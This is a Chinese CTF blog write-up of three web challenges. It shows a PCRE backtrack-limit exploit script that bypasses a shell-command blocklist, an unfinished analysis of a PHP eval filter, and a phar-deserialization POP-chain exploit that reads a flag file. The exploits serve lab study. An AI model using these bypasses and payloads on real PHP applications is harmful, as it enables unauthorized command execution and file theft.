buuoj日记-5

FBCTF2019 RCEService,ISITDTU 2019 EasyPHP,SWPUCTF 2018 SimplePHP

FBCTF2019 RCEService

分析

题目很简单,就是利用发送一个json的请求命令执行例如{"cmd":"ls"}

但是有很多的命令是被过滤的,经过了fuzz,结合最后官方提供的源码,过滤的代码是这样的。

1
2
elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { 
echo 'Hacking attempt detected<br/><br/>';

一堆命令都整掉了,还有./,但这里的preg_match函数,可以用多行绕过

1
2
3
{
'cmd':'ls /bin'
}

先看一下有哪些命令可以用

没啥用。

找来找去找到了flag

但是cat不了,应该是cat命令不能用,但是bin下面是有的。。。于是

做完以后听说这又是非预期,然后分析一下给出的预期解

预期解

大致的意思就是有一个变量叫做pcre.backtrack_limit,当preg_match函数报错的时候会返回false,而当没有找到查询的字符串的时候返回时0,所以我们就传入超大的一个字符串,查表可以得知限制应该是1000000,形成报错就可以过waf了。

exp

1
2
3
4
5
6
7
import requests

url = 'http://4b624e28-966b-4baf-b903-da564035b3e9.node3.buuoj.cn/'
sand = ' ' * 1000000
response = requests.post(url, data={'cmd': '{"cmd": "/bin/cat /home/rceservice/flag"}'+sand})

print(response.text)

ISITDTU 2019 EasyPHP

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

分析

源码很简单,总结一下就是

(1)一个正则/[\x00- 0-9\'"$&.,|[{_defgops\x7F]+/i`

(2)payload的长度不能大于13

我们就来fuzz一下看一看可用的函数

1
2
3
4
5
6
7
8
9
10
11
<?php

$functions = get_defined_functions()['internal'];
foreach($functions as $key => $value){
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value)||strlen(count_chars(strtolower($value), 0x3)) > 0xd)
{
unset($functions[$key]);
continue;
}
}
var_dump($functions);

得到可用的函数

后面的太繁琐了。。今天的心情不适合写。。回头再补上吧。

SWPUCTF 2018 SimplePHP

网站只有两个功能

(1)file.php?file= 可以用于源码的读取

(2)upload_file.php 就是用于文件的上传

(3)在index.php得到flag在f1ag.php

不是我说,这个出题套路似乎,国内已经出现无处次了。。必然就是phar反序列化。。。

先把所有源码读出来吧

function.php 获取到了上传文件的路径 md(filename174.0.81.45).jpg`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

先上exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$c = new Test();
$c -> params = array('source' => '/var/www/html/f1ag.php');
$b = new Show('index.php');
$b -> str['str'] = $c;
$a = new C1e4r($b);

echo serialize($a);

$payload = unserialize("O:5:\"C1e4r\":2:{s:4:\"test\";N;s:3:\"str\";O:4:\"Show\":2:{s:6:\"source\";s:9:\"index.php\";s:3:\"str\";a:1:{s:3:\"str\";O:4:\"Test\":2:{s:4:\"file\";N;s:6:\"params\";a:1:{s:6:\"source\";s:22:\"/var/www/html/f1ag.php\";}}}}}");



$exp = new Phar('yds.phar');
$exp -> startBuffering();
$exp->setStub('<?php __HALT_COMPILER(); ? >');
$exp -> addFromString('yds.txt','yds_is_so_beautiful');
$exp -> setMetadata($payload);
$exp -> stopBuffering();

rename('yds.phar', 'yds.jpg');

分析

(1)先看pop链尾Test通过访问没有定义的属性调用__get()继而调用get继而调用file_get读到源码,

而必须要通过Test->source 来调用Test -> params['source']

(2)在Show__toString()函数中可以获取出Test读到的源码,所以Show->str['str']要为Test

(3)可以通过C1e4r__destruct来调用Show中的__toString

Over

把这里的base64进行解码则是flag